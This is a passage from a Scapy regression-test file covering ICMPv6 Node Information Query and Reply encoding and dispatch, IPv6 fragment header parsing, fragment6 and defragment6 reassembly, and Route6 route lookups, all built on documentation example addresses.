ICMPv6NIQueryIPv6(flags="S") g = ICMPv6NIQueryIPv6(flags="G") all = ICMPv6NIQueryIPv6(flags="TALCLSG") t.flags == 1 and a.flags == 2 and c.flags == 4 and l.flags == 8 and s.flags == 16 and g.flags == 32 and all.flags == 63 = ICMPv6NIQuery* - flags handling (Test 2) t = str(ICMPv6NIQueryNOOP(flags="T", nonce="A"*8))[6:8] a = str(ICMPv6NIQueryNOOP(flags="A", nonce="A"*8))[6:8] c = str(ICMPv6NIQueryNOOP(flags="C", nonce="A"*8))[6:8] l = str(ICMPv6NIQueryNOOP(flags="L", nonce="A"*8))[6:8] s = str(ICMPv6NIQueryNOOP(flags="S", nonce="A"*8))[6:8] g = str(ICMPv6NIQueryNOOP(flags="G", nonce="A"*8))[6:8] all = str(ICMPv6NIQueryNOOP(flags="TALCLSG", nonce="A"*8))[6:8] t == '\x00\x01' and a == '\x00\x02' and c == '\x00\x04' and l == '\x00\x08' and s == '\x00\x10' and g == '\x00\x20' and all == '\x00\x3F' = ICMPv6NIReply* - flags handling (Test 1) t = ICMPv6NIReplyIPv6(flags="T") a = ICMPv6NIReplyIPv6(flags="A") c = ICMPv6NIReplyIPv6(flags="C") l = ICMPv6NIReplyIPv6(flags="L") s = ICMPv6NIReplyIPv6(flags="S") g = ICMPv6NIReplyIPv6(flags="G") all = ICMPv6NIReplyIPv6(flags="TALCLSG") t.flags == 1 and a.flags == 2 and c.flags == 4 and l.flags == 8 and s.flags == 16 and g.flags == 32 and all.flags == 63 = ICMPv6NIReply* - flags handling (Test 2) t = str(ICMPv6NIReplyNOOP(flags="T", nonce="A"*8))[6:8] a = str(ICMPv6NIReplyNOOP(flags="A", nonce="A"*8))[6:8] c = str(ICMPv6NIReplyNOOP(flags="C", nonce="A"*8))[6:8] l = str(ICMPv6NIReplyNOOP(flags="L", nonce="A"*8))[6:8] s = str(ICMPv6NIReplyNOOP(flags="S", nonce="A"*8))[6:8] g = str(ICMPv6NIReplyNOOP(flags="G", nonce="A"*8))[6:8] all = str(ICMPv6NIReplyNOOP(flags="TALCLSG", nonce="A"*8))[6:8] t == '\x00\x01' and a == '\x00\x02' and c == '\x00\x04' and l == '\x00\x08' and s == '\x00\x10' and g == '\x00\x20' and all == '\x00\x3F' = ICMPv6NIQuery* - Flags Default values a = ICMPv6NIQueryNOOP() b = ICMPv6NIQueryName() c = ICMPv6NIQueryIPv4() d = ICMPv6NIQueryIPv6() a.flags == 0 and b.flags == 0 and c.flags == 0 and d.flags == 62 = ICMPv6NIReply* - Flags Default values a = ICMPv6NIReplyIPv6() b = ICMPv6NIReplyName() c = ICMPv6NIReplyIPv6() d = ICMPv6NIReplyIPv4() e = ICMPv6NIReplyRefuse() f = ICMPv6NIReplyUnknown() a.flags == 0 and b.flags == 0 and c.flags == 0 and d.flags == 0 and e.flags == 0 and f.flags == 0 # Nonces # hashret and answers # payload guess # automatic destination address computation when integrated in scapy6 # at least computeNIGroupAddr ##################################################################### + Test Node Information Query - Dispatching = ICMPv6NIQueryIPv6 - dispatch with nothing in data s = str(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIQueryIPv6()) p = IPv6(s) isinstance(p.payload, ICMPv6NIQueryIPv6) = ICMPv6NIQueryIPv6 - dispatch with IPv6 address in data s = str(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIQueryIPv6(data="2001::db8::1")) p = IPv6(s) isinstance(p.payload, ICMPv6NIQueryIPv6) = ICMPv6NIQueryIPv6 - dispatch with IPv4 address in data s = str(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIQueryIPv6(data="192.168.0.1")) p = IPv6(s) isinstance(p.payload, ICMPv6NIQueryIPv6) = ICMPv6NIQueryIPv6 - dispatch with name in data s = str(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIQueryIPv6(data="alfred")) p = IPv6(s) isinstance(p.payload, ICMPv6NIQueryIPv6) = ICMPv6NIQueryName - dispatch with nothing in data s = str(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIQueryName()) p = IPv6(s) isinstance(p.payload, ICMPv6NIQueryName) = ICMPv6NIQueryName - dispatch with IPv6 address in data s = str(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIQueryName(data="2001:db8::1")) p = IPv6(s) isinstance(p.payload, ICMPv6NIQueryName) = ICMPv6NIQueryName - dispatch with IPv4 address in data s = str(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIQueryName(data="192.168.0.1")) p = IPv6(s) isinstance(p.payload, ICMPv6NIQueryName) = ICMPv6NIQueryName - dispatch with name in data s = str(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIQueryName(data="alfred")) p = IPv6(s) isinstance(p.payload, ICMPv6NIQueryName) = ICMPv6NIQueryIPv4 - dispatch with nothing in data s = str(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIQueryIPv4()) p = IPv6(s) isinstance(p.payload, ICMPv6NIQueryIPv4) = ICMPv6NIQueryIPv4 - dispatch with IPv6 address in data s = str(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIQueryIPv4(data="2001:db8::1")) p = IPv6(s) isinstance(p.payload, ICMPv6NIQueryIPv4) = ICMPv6NIQueryIPv4 - dispatch with IPv6 address in data s = str(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIQueryIPv4(data="192.168.0.1")) p = IPv6(s) isinstance(p.payload, ICMPv6NIQueryIPv4) = ICMPv6NIQueryIPv4 - dispatch with name in data s = str(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIQueryIPv4(data="alfred")) p = IPv6(s) isinstance(p.payload, ICMPv6NIQueryIPv4) = ICMPv6NIReplyName - dispatch s = str(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIReplyName()) p = IPv6(s) isinstance(p.payload, ICMPv6NIReplyName) = ICMPv6NIReplyIPv6 - dispatch s = str(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIReplyIPv6()) p = IPv6(s) isinstance(p.payload, ICMPv6NIReplyIPv6) = ICMPv6NIReplyIPv4 - dispatch s = str(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIReplyIPv4()) p = IPv6(s) isinstance(p.payload, ICMPv6NIReplyIPv4) = ICMPv6NIReplyRefuse - dispatch s = str(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIReplyRefuse()) p = IPv6(s) isinstance(p.payload, ICMPv6NIReplyRefuse) = ICMPv6NIReplyUnknown - dispatch s = str(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIReplyUnknown()) p = IPv6(s) isinstance(p.payload, ICMPv6NIReplyUnknown) ##################################################################### + Test Node Information Query - ICMPv6NIReplyNOOP = ICMPv6NIReplyNOOP - single DNS name without hint => understood as string (internal) a=ICMPv6NIReplyNOOP(data="abricot").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 0 and type(a[1]) is str and a[1] == "abricot" = ICMPv6NIReplyNOOP - single DNS name without hint => understood as string ICMPv6NIReplyNOOP(data="abricot").data == "abricot" = ICMPv6NIReplyNOOP - fqdn without hint => understood as string (internal) a=ICMPv6NIReplyNOOP(data="n.d.tld").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 0 and type(a[1]) is str and a[1] == "n.d.tld" = ICMPv6NIReplyNOOP - fqdn without hint => understood as string ICMPv6NIReplyNOOP(data="n.d.tld").data == "n.d.tld" = ICMPv6NIReplyNOOP - IPv6 address without hint => understood as string (internal) a=ICMPv6NIReplyNOOP(data="2001:0db8::1").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 0 and type(a[1]) is str and a[1] == "2001:0db8::1" = ICMPv6NIReplyNOOP - IPv6 address without hint => understood as string ICMPv6NIReplyNOOP(data="2001:0db8::1").data == "2001:0db8::1" = ICMPv6NIReplyNOOP - IPv4 address without hint => understood as string (internal) a=ICMPv6NIReplyNOOP(data="169.254.253.010").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 0 and type(a[1]) is str and a[1] == "169.254.253.010" = ICMPv6NIReplyNOOP - IPv4 address without hint => understood as string ICMPv6NIReplyNOOP(data="169.254.253.010").data == "169.254.253.010" ##################################################################### + Test Node Information Query - ICMPv6NIReplyName = ICMPv6NIReplyName - single label DNS name as a string (without ttl) (internal) a=ICMPv6NIReplyName(data="abricot").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 2 and type(a[1]) is list and len(a[1]) == 2 and a[1][0] == 0 and a[1][1] == '\x07abricot\x00\x00' = ICMPv6NIReplyName - single label DNS name as a string (without ttl) ICMPv6NIReplyName(data="abricot").data == [0, "abricot"] = ICMPv6NIReplyName - fqdn name as a string (without ttl) (internal) a=ICMPv6NIReplyName(data="n.d.tld").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 2 and type(a[1]) is list and len(a[1]) == 2 and a[1][0] == 0 and a[1][1] == '\x01n\x01d\x03tld\x00' = ICMPv6NIReplyName - fqdn name as a string (without ttl) ICMPv6NIReplyName(data="n.d.tld").data == [0, 'n.d.tld'] = ICMPv6NIReplyName - list of 2 single label DNS names (without ttl) (internal) a=ICMPv6NIReplyName(data=["abricot", "poire"]).getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 2 and type(a[1]) is list and len(a[1]) == 2 and a[1][0] == 0 and a[1][1] == '\x07abricot\x00\x00\x05poire\x00\x00' = ICMPv6NIReplyName - list of 2 single label DNS names (without ttl) ICMPv6NIReplyName(data=["abricot", "poire"]).data == [0, "abricot", "poire"] = ICMPv6NIReplyName - [ttl, single-label, single-label, fqdn] (internal) a=ICMPv6NIReplyName(data=[42, "abricot", "poire", "n.d.tld"]).getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 2 and type(a[1]) is list and len(a[1]) == 2 and a[1][0] == 42 and a[1][1] == '\x07abricot\x00\x00\x05poire\x00\x00\x01n\x01d\x03tld\x00' = ICMPv6NIReplyName - [ttl, single-label, single-label, fqdn] ICMPv6NIReplyName(data=[42, "abricot", "poire", "n.d.tld"]).data == [42, "abricot", "poire", "n.d.tld"] ##################################################################### + Test Node Information Query - ICMPv6NIReplyIPv6 = ICMPv6NIReplyIPv6 - one IPv6 address without TTL (internal) a=ICMPv6NIReplyIPv6(data="2001:db8::1").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 3 and type(a[1]) is list and len(a[1]) == 1 and type(a[1][0]) is tuple and len(a[1][0]) == 2 and a[1][0][0] == 0 and a[1][0][1] == "2001:db8::1" = ICMPv6NIReplyIPv6 - one IPv6 address without TTL ICMPv6NIReplyIPv6(data="2001:db8::1").data == [(0, '2001:db8::1')] = ICMPv6NIReplyIPv6 - one IPv6 address without TTL (as a list) (internal) a=ICMPv6NIReplyIPv6(data=["2001:db8::1"]).getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 3 and type(a[1]) is list and len(a[1]) == 1 and type(a[1][0]) is tuple and len(a[1][0]) == 2 and a[1][0][0] == 0 and a[1][0][1] == "2001:db8::1" = ICMPv6NIReplyIPv6 - one IPv6 address without TTL (as a list) ICMPv6NIReplyIPv6(data=["2001:db8::1"]).data == [(0, '2001:db8::1')] = ICMPv6NIReplyIPv6 - one IPv6 address with TTL (internal) a=ICMPv6NIReplyIPv6(data=[(0, "2001:db8::1")]).getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 3 and type(a[1]) is list and len(a[1]) == 1 and type(a[1][0]) is tuple and len(a[1][0]) == 2 and a[1][0][0] == 0 and a[1][0][1] == "2001:db8::1" = ICMPv6NIReplyIPv6 - one IPv6 address with TTL ICMPv6NIReplyIPv6(data=[(0, "2001:db8::1")]).data == [(0, '2001:db8::1')] = ICMPv6NIReplyIPv6 - two IPv6 addresses as a list of strings (without TTL) (internal) a=ICMPv6NIReplyIPv6(data=["2001:db8::1", "2001:db8::2"]).getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 3 and type(a[1]) is list and len(a[1]) == 2 and type(a[1][0]) is tuple and len(a[1][0]) == 2 and a[1][0][0] == 0 and a[1][0][1] == "2001:db8::1" and len(a[1][1]) == 2 and a[1][1][0] == 0 and a[1][1][1] == "2001:db8::2" = ICMPv6NIReplyIPv6 - two IPv6 addresses as a list of strings (without TTL) ICMPv6NIReplyIPv6(data=["2001:db8::1", "2001:db8::2"]).data == [(0, '2001:db8::1'), (0, '2001:db8::2')] = ICMPv6NIReplyIPv6 - two IPv6 addresses as a list (first with ttl, second without) (internal) a=ICMPv6NIReplyIPv6(data=[(42, "2001:db8::1"), "2001:db8::2"]).getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 3 and type(a[1]) is list and len(a[1]) == 2 and type(a[1][0]) is tuple and len(a[1][0]) == 2 and a[1][0][0] == 42 and a[1][0][1] == "2001:db8::1" and len(a[1][1]) == 2 and a[1][1][0] == 0 and a[1][1][1] == "2001:db8::2" = ICMPv6NIReplyIPv6 - two IPv6 addresses as a list (first with ttl, second without) ICMPv6NIReplyIPv6(data=[(42, "2001:db8::1"), "2001:db8::2"]).data == [(42, "2001:db8::1"), (0, "2001:db8::2")] ##################################################################### + Test Node Information Query - ICMPv6NIReplyIPv4 = ICMPv6NIReplyIPv4 - one IPv4 address without TTL (internal) a=ICMPv6NIReplyIPv4(data="169.254.253.252").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 4 and type(a[1]) is list and len(a[1]) == 1 and type(a[1][0]) is tuple and len(a[1][0]) == 2 and a[1][0][0] == 0 and a[1][0][1] == "169.254.253.252" = ICMPv6NIReplyIPv4 - one IPv4 address without TTL ICMPv6NIReplyIPv4(data="169.254.253.252").data == [(0, '169.254.253.252')] = ICMPv6NIReplyIPv4 - one IPv4 address without TTL (as a list) (internal) a=ICMPv6NIReplyIPv4(data=["169.254.253.252"]).getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 4 and type(a[1]) is list and len(a[1]) == 1 and type(a[1][0]) is tuple and len(a[1][0]) == 2 and a[1][0][0] == 0 and a[1][0][1] == "169.254.253.252" = ICMPv6NIReplyIPv4 - one IPv4 address without TTL (as a list) ICMPv6NIReplyIPv4(data=["169.254.253.252"]).data == [(0, '169.254.253.252')] = ICMPv6NIReplyIPv4 - one IPv4 address with TTL (internal) a=ICMPv6NIReplyIPv4(data=[(0, "169.254.253.252")]).getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 4 and type(a[1]) is list and len(a[1]) == 1 and type(a[1][0]) is tuple and len(a[1][0]) == 2 and a[1][0][0] == 0 and a[1][0][1] == "169.254.253.252" = ICMPv6NIReplyIPv4 - one IPv4 address with TTL (internal) ICMPv6NIReplyIPv4(data=[(0, "169.254.253.252")]).data == [(0, '169.254.253.252')] = ICMPv6NIReplyIPv4 - two IPv4 addresses as a list of strings (without TTL) a=ICMPv6NIReplyIPv4(data=["169.254.253.252", "169.254.253.253"]).getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 4 and type(a[1]) is list and len(a[1]) == 2 and type(a[1][0]) is tuple and len(a[1][0]) == 2 and a[1][0][0] == 0 and a[1][0][1] == "169.254.253.252" and len(a[1][1]) == 2 and a[1][1][0] == 0 and a[1][1][1] == "169.254.253.253" = ICMPv6NIReplyIPv4 - two IPv4 addresses as a list of strings (without TTL) (internal) ICMPv6NIReplyIPv4(data=["169.254.253.252", "169.254.253.253"]).data == [(0, '169.254.253.252'), (0, '169.254.253.253')] = ICMPv6NIReplyIPv4 - two IPv4 addresses as a list (first with ttl, second without) a=ICMPv6NIReplyIPv4(data=[(42, "169.254.253.252"), "169.254.253.253"]).getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 4 and type(a[1]) is list and len(a[1]) == 2 and type(a[1][0]) is tuple and len(a[1][0]) == 2 and a[1][0][0] == 42 and a[1][0][1] == "169.254.253.252" and len(a[1][1]) == 2 and a[1][1][0] == 0 and a[1][1][1] == "169.254.253.253" = ICMPv6NIReplyIPv4 - two IPv4 addresses as a list (first with ttl, second without) (internal) ICMPv6NIReplyIPv4(data=[(42, "169.254.253.252"), "169.254.253.253"]).data == [(42, "169.254.253.252"), (0, "169.254.253.253")] ##################################################################### + Test Node Information Query - ICMPv6NIReplyRefuse = ICMPv6NIReplyRefuse - basic instantiation str(ICMPv6NIReplyRefuse())[:8] == '\x8c\x01\x00\x00\x00\x00\x00\x00' = ICMPv6NIReplyRefuse - basic dissection a=ICMPv6NIReplyRefuse('\x8c\x01\x00\x00\x00\x00\x00\x00\xf1\xe9\xab\xc9\x8c\x0by\x18') a.type == 140 and a.code == 1 and a.cksum == 0 and a.unused == 0 and a.flags == 0 and a.nonce == '\xf1\xe9\xab\xc9\x8c\x0by\x18' and a.data == None ##################################################################### + Test Node Information Query - ICMPv6NIReplyUnknown = ICMPv6NIReplyUnknown - basic instantiation str(ICMPv6NIReplyUnknown(nonce='\x00'*8)) == '\x8c\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = ICMPv6NIReplyRefuse - basic dissection a=ICMPv6NIReplyRefuse('\x8c\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.type == 140 and a.code == 2 and a.cksum == 0 and a.unused == 0 and a.flags == 0 and a.nonce == '\x00'*8 and a.data == None ########### IPv6ExtHdrFragment Class ########################## + IPv6ExtHdrFragment Class Test = IPv6ExtHdrFragment - Basic Instantiation str(IPv6ExtHdrFragment()) == ';\x00\x00\x00\x00\x00\x00\x00' = IPv6ExtHdrFragment - Instantiation with specific values str(IPv6ExtHdrFragment(nh=0xff, res1=0xee, offset=0x1fff, res2=1, m=1, id=0x11111111)) == '\xff\xee\xff\xfb\x11\x11\x11\x11' = IPv6ExtHdrFragment - Basic Dissection a=IPv6ExtHdrFragment(';\x00\x00\x00\x00\x00\x00\x00') a.nh == 59 and a.res1 == 0 and a.offset == 0 and a.res2 == 0 and a.m == 0 and a.id == 0 = IPv6ExtHdrFragment - Instantiation with specific values a=IPv6ExtHdrFragment('\xff\xee\xff\xfb\x11\x11\x11\x11') a.nh == 0xff and a.res1 == 0xee and a.offset==0x1fff and a.res2==1 and a.m == 1 and a.id == 0x11111111 ########### fragment6() function #################################### + Test fragment6 function = fragment6 - test against a long TCP packet with a 1280 MTU l=fragment6(IPv6()/IPv6ExtHdrFragment()/TCP()/Raw(load="A"*40000), 1280) len(l) == 33 and len(str(l[-1])) == 644 ########### defragment6() function #################################### + Test defragment6 function = defragment6 - test against a long TCP packet fragmented with a 1280 MTU l=fragment6(IPv6()/IPv6ExtHdrFragment()/TCP()/Raw(load="A"*40000), 1280) str(defragment6(l)) == ('`\x00\x00\x00\x9cT\x06@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xe92\x00\x00' + 'A'*40000) = defragment6 - test against a large TCP packet fragmented with a 1280 bytes MTU and missing fragments l=fragment6(IPv6()/IPv6ExtHdrFragment()/TCP()/Raw(load="A"*40000), 1280) del(l[2]) del(l[4]) del(l[12]) del(l[18]) str(defragment6(l)) == ('`\x00\x00\x00\x9cT\x06@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xe92\x00\x00' + 2444*'A' + 1232*'X' + 2464*'A' + 1232*'X' + 9856*'A' + 1232*'X' + 7392*'A' + 1232*'X' + 12916*'A') = defragment6 - test against a TCP packet fragmented with a 800 bytes MTU and missing fragments l=fragment6(IPv6()/IPv6ExtHdrFragment()/TCP()/Raw(load="A"*4000), 800) del(l[4]) del(l[2]) str(defragment6(l)) == '`\x00\x00\x00\x0f\xb4\x06@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xb2\x0f\x00\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' ########### Route6 Class ############################################ + Test Route6 class = Route6 - Route6 flushing conf.route6.routes=[ ( '::1', 128, '::', 'lo', ['::1']), ( 'fe80::20f:1fff:feca:4650', 128, '::', 'lo', ['::1'])] conf.route6.flush() not conf.route6.routes = Route6 - Route6.route conf.route6.flush() conf.route6.routes=[ ( '::1', 128, '::', 'lo', ['::1']), ( 'fe80::20f:1fff:feca:4650', 128, '::', 'lo', ['::1']), ( 'fe80::', 64, '::', 'eth0', ['fe80::20f:1fff:feca:4650']), ('2001:db8:0:4444:20f:1fff:feca:4650', 128, '::', 'lo', ['::1']), ( '2001:db8:0:4444::', 64, '::', 'eth0', ['2001:db8:0:4444:20f:1fff:feca:4650']), ( '::', 0, 'fe80::20f:34ff:fe8a:8aa1', 'eth0', ['2001:db8:0:4444:20f:1fff:feca:4650', '2002:db8:0:4444:20f:1fff:feca:4650']) ] conf.route6.route("2002::1") == ('eth0', '2002:db8:0:4444:20f:1fff:feca:4650', 'fe80::20f:34ff:fe8a:8aa1') and conf.route6.route("2001::1") == ('eth0', '2001:db8:0:4444:20f:1fff:feca:4650', 'fe80::20f:34ff:fe8a:8aa1') and conf.route6.route("fe80::20f:1fff:feab:4870") == ('eth0', 'fe80::20f:1fff:feca:4650', '::') and conf.route6.route("::1") == ('lo', '::1', '::') and conf.route6.route("::") == ('eth0', '2001:db8:0:4444:20f:1fff:feca:4650', 